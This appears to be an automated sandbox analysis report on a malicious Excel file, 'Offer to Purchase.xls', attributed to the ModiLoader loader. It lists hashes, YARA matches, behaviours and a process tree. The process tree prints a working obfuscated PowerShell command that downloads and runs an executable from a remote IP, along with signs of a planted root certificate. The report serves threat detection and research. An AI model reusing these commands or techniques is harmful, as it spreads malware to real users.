Analysis
- max time kernel
54s - max time network
131s - platform
windows7_x64 - resource
win7-20241010-en - resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system - submitted
12/03/2025, 17:28
Static task
static1
Behavioral task
behavioral1
Sample
Offer to Purchase.xls
Resource
win7-20241010-en
22 signatures
150 seconds
Behavioral task
behavioral2
Sample
Offer to Purchase.xls
Resource
win10v2004-20250217-en
9 signatures
150 seconds
General
- Target Offer to Purchase.xls
- Size 1.2MB
- Sample250312-v1237syqs6
- SHA256 1f140655d3b6109dff4c40eb787de41e5d8d45ce3ffcfbef3074b6a74bff41ca
- MD5 39d4703b3f0e623b4a9a7e083389b3d9
- SHA1 662891296b2deb04e5a12ca582ac792156f3004e
- SHA512 1cbe74e68379b155384ef1719b171b1d42b8456bf2957a0552e0f81505cd9f05bda377142a7b7ae244ebe9bd241a9a9ee36ef3ac345fcf367df80996e1eef65c
- SSDEEP 24576:FJIwgpQIOXR8YhbBWvdp8tLUWBMDclB0Nu/DQhhPCwTXxFG3QH8hjx784iWSx:FzgpxM8YkpwLUwhnOYQH6Ux43QHRlt
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Modiloader family
- ModiLoader Second Stage 58 IoCs
resource yara_rule behavioral1/memory/1680-208-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-210-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-219-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-217-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-289-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-221-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-230-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-226-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-222-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-290-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-285-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-281-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-276-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-271-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-264-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-257-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-256-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-248-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-243-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-238-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-234-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-228-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-225-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-218-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-284-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-279-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-274-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-267-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-263-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-261-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-255-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-250-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-245-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-242-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-236-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-232-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-229-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-224-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-220-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-286-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-282-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-277-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-273-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-268-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-265-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-258-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-253-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-247-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-241-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-233-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-227-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-223-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-216-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-215-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-214-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-213-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-212-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 behavioral1/memory/1680-211-0x0000000002F50000-0x0000000003F50000-memory.dmp modiloader_stage2 - Blocklisted process makes network request 3 IoCs
flow pid Process 22 2480 mshta.exe 23 2480 mshta.exe 25 976 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 25 976 powershell.exe - Evasion via Device Credential Deployment 1 IoCs
pid Process 976 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 1680 csrss.exe 3064 alpha.pif 2228 alpha.pif 580 dajivhqI.pif - Loads dropped DLL 5 IoCs
pid Process 976 powershell.exe 976 powershell.exe 2088 cmd.exe 1680 csrss.exe 1680 csrss.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1680 set thread context of 580 1680 csrss.exe 46 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language alpha.pif Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language alpha.pif Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1704 PING.EXE - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 mshta.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 1704 PING.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2172 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 976 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 976 powershell.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2172 EXCEL.EXE 2172 EXCEL.EXE 2172 EXCEL.EXE 2172 EXCEL.EXE 2172 EXCEL.EXE 2172 EXCEL.EXE 2172 EXCEL.EXE - Suspicious use of WriteProcessMemory 50 IoCs
description pid Process procid_target PID 2480 wrote to memory of 2612 2480 mshta.exe 31 PID 2480 wrote to memory of 2612 2480 mshta.exe 31 PID 2480 wrote to memory of 2612 2480 mshta.exe 31 PID 2480 wrote to memory of 2612 2480 mshta.exe 31 PID 2612 wrote to memory of 976 2612 cmd.exe 33 PID 2612 wrote to memory of 976 2612 cmd.exe 33 PID 2612 wrote to memory of 976 2612 cmd.exe 33 PID 2612 wrote to memory of 976 2612 cmd.exe 33 PID 976 wrote to memory of 2528 976 powershell.exe 34 PID 976 wrote to memory of 2528 976 powershell.exe 34 PID 976 wrote to memory of 2528 976 powershell.exe 34 PID 976 wrote to memory of 2528 976 powershell.exe 34 PID 2528 wrote to memory of 1768 2528 csc.exe 35 PID 2528 wrote to memory of 1768 2528 csc.exe 35 PID 2528 wrote to memory of 1768 2528 csc.exe 35 PID 2528 wrote to memory of 1768 2528 csc.exe 35 PID 976 wrote to memory of 1680 976 powershell.exe 37 PID 976 wrote to memory of 1680 976 powershell.exe 37 PID 976 wrote to memory of 1680 976 powershell.exe 37 PID 976 wrote to memory of 1680 976 powershell.exe 37 PID 1680 wrote to memory of 2088 1680 csrss.exe 38 PID 1680 wrote to memory of 2088 1680 csrss.exe 38 PID 1680 wrote to memory of 2088 1680 csrss.exe 38 PID 1680 wrote to memory of 2088 1680 csrss.exe 38 PID 1680 wrote to memory of 2924 1680 csrss.exe 39 PID 1680 wrote to memory of 2924 1680 csrss.exe 39 PID 1680 wrote to memory of 2924 1680 csrss.exe 39 PID 1680 wrote to memory of 2924 1680 csrss.exe 39 PID 2924 wrote to memory of 1704 2924 cmd.exe 43 PID 2924 wrote to memory of 1704 2924 cmd.exe 43 PID 2924 wrote to memory of 1704 2924 cmd.exe 43 PID 2924 wrote to memory of 1704 2924 cmd.exe 43 PID 2088 wrote to memory of 3040 2088 cmd.exe 42 PID 2088 wrote to memory of 3040 2088 cmd.exe 42 PID 2088 wrote to memory of 3040 2088 cmd.exe 42 PID 2088 wrote to memory of 3040 2088 cmd.exe 42 PID 2088 wrote to memory of 3064 2088 cmd.exe 44 PID 2088 wrote to memory of 3064 2088 cmd.exe 44 PID 2088 wrote to memory of 3064 2088 cmd.exe 44 PID 2088 wrote to memory of 3064 2088 cmd.exe 44 PID 2088 wrote to memory of 2228 2088 cmd.exe 45 PID 2088 wrote to memory of 2228 2088 cmd.exe 45 PID 2088 wrote to memory of 2228 2088 cmd.exe 45 PID 2088 wrote to memory of 2228 2088 cmd.exe 45 PID 1680 wrote to memory of 580 1680 csrss.exe 46 PID 1680 wrote to memory of 580 1680 csrss.exe 46 PID 1680 wrote to memory of 580 1680 csrss.exe 46 PID 1680 wrote to memory of 580 1680 csrss.exe 46 PID 1680 wrote to memory of 580 1680 csrss.exe 46 PID 1680 wrote to memory of 580 1680 csrss.exe 46
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Offer to Purchase.xls"1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2172
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe -Embedding1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"3⤵
- Blocklisted process makes network request
- Downloads MZ/PE file
- Evasion via Device Credential Deployment
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_bharmit.cmdline"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2740.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC273F.tmp"5⤵
- System Location Discovery: System Language Discovery
PID:1768
-
-
-
C:\Users\Admin\AppData\Roaming\csrss.exe"C:\Users\Admin\AppData\Roaming\csrss.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1680 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\\Users\\All Users\\1801.cmd""5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\SysWOW64\esentutl.exeC:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o6⤵PID:3040
-
-
C:\Users\Public\alpha.pifC:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3064
-
-
C:\Users\Public\alpha.pifC:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2228
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\\Users\\All Users\\25767.cmd""5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 106⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1704
-
-
-
C:\Users\Admin\Links\dajivhqI.pifC:\\Users\\Admin\\Links\dajivhqI.pif5⤵
- Executes dropped EXE
PID:580
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\25767.cmd
- Size 2KB
- SHA256 a86c6c7a2bf9e12c45275a5e7ebebd5e6d2ba302fe0a12600b7c9fdf283d9e63
- MD5 9a020804eba1ffac2928d7c795144bbf
- SHA1 61fdc4135afdc99e106912aeafeac9c8a967becc
- SHA512 42f6d754f1bdbeb6e4cc7aeb57ff4c4d126944f950d260a0839911e576ad16002c16122f81c1d39fa529432dca0a48c9acfbb18804ca9044425c8e424a5518be
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656
- Size 1KB
- SHA256 71755f0883a07e72923dfa01cc3f0968a50e99805f32f312d55283a609c670a2
- MD5 b4c2e3007cfcc357c744f74e9e35c651
- SHA1 8835d522d97de77ae41237f6f2912d66e11d9aff
- SHA512 76499b033fef55a7da53c58e095abbc41c9e8c995e8625a08f5db69d8cf150a7bebc99b3d928dca431340da8c9637af87b9e8553fd4f73a15c355d99de28cae3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
- Size 71KB
- SHA256 d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755
- MD5 83142242e97b8953c386f988aa694e4a
- SHA1 833ed12fc15b356136dcdd27c61a50f59c5c7d50
- SHA512 bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10
- SSDEEP 1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62
- Size 2KB
- SHA256 116b06a40b252e1cf1907e55c9c50d74ff8038383e5e6950195cdc2294dd9546
- MD5 91ac53b67586e08e926c46d049602bab
- SHA1 5ccd08e67b44165c9be0b24fc81c11d9309efdd1
- SHA512 e574aa33b165283a34fe6c3b8379ce3999618877345edae5f1bcbed2c38981ac52f232ddd9b5a568dcc12ccff7e2d0b1531cbb6a92bef763b9c326006f12429f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894
- Size 1KB
- SHA256 e631c9bd602bf9758e7d09e2d3d6b5df4572c720b98943b466860074c645662e
- MD5 2bcf47bd3be056396872e8c1b76d3ddd
- SHA1 c91ae04e6ace8b625ac9c58813b50de194b4869c
- SHA512 d8ae79c19729b70a3aecfac4a340062dff6f84de059982bf5f7d892bec1ed78d98f30ee54bcf4d7f6d8e8a806c73076787f641264a62091e213b08345deee4a2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F53EB4E574DE32C870452087D92DBEBB_B21DB2D798D099C01A48B69E7CD386BD
- Size 471B
- SHA256 9579426d4c04f44f616e8f3f8438760a868663b7dff0c3e767a58c7486b9122d
- MD5 05e93e7f297d1a9aa1b8e5a8536aab3c
- SHA1 2c47d8ab2401488798757ae484cf53fdee265c10
- SHA512 b56b804fdf9cfb611d13c979a5efa11ce56100e5d78a5947c016f2485e6f6e079e4c975bc76c21ab707bf803392f7c939682a0fcdae4f67fec70c4f573052c72
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\75CA58072B9926F763A91F0CC2798706_056B48C93C4964C2E64C0A8958238656
- Size 434B
- SHA256 a77845d9d3ccec8b8ce91d66db63c1b0c53766410676cff787bcca6511cd4f60
- MD5 d73347a65c256567112c5c353704b2d8
- SHA1 4632f5170a0808613569dafd076f21100d0fa07d
- SHA512 0d0d0fe480bfc9403eb7393e715117cd482ce6d6e47c32b3d5b207f2bc8aa3b346ef3e5ea2b5f27fb4492cedaabb95f4a3b67cc7af53bc77f315e38779486edf
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
- Size 344B
- SHA256 a8e0cb2cf6a358f668397de74700fc9520d5b928e43e538057627f112f6e0e13
- MD5 1b556d3e5b5b25cd5f8ff78fdafa3e6f
- SHA1 1c9fafbe2e486db54bac7c80ffff86b39413ce0e
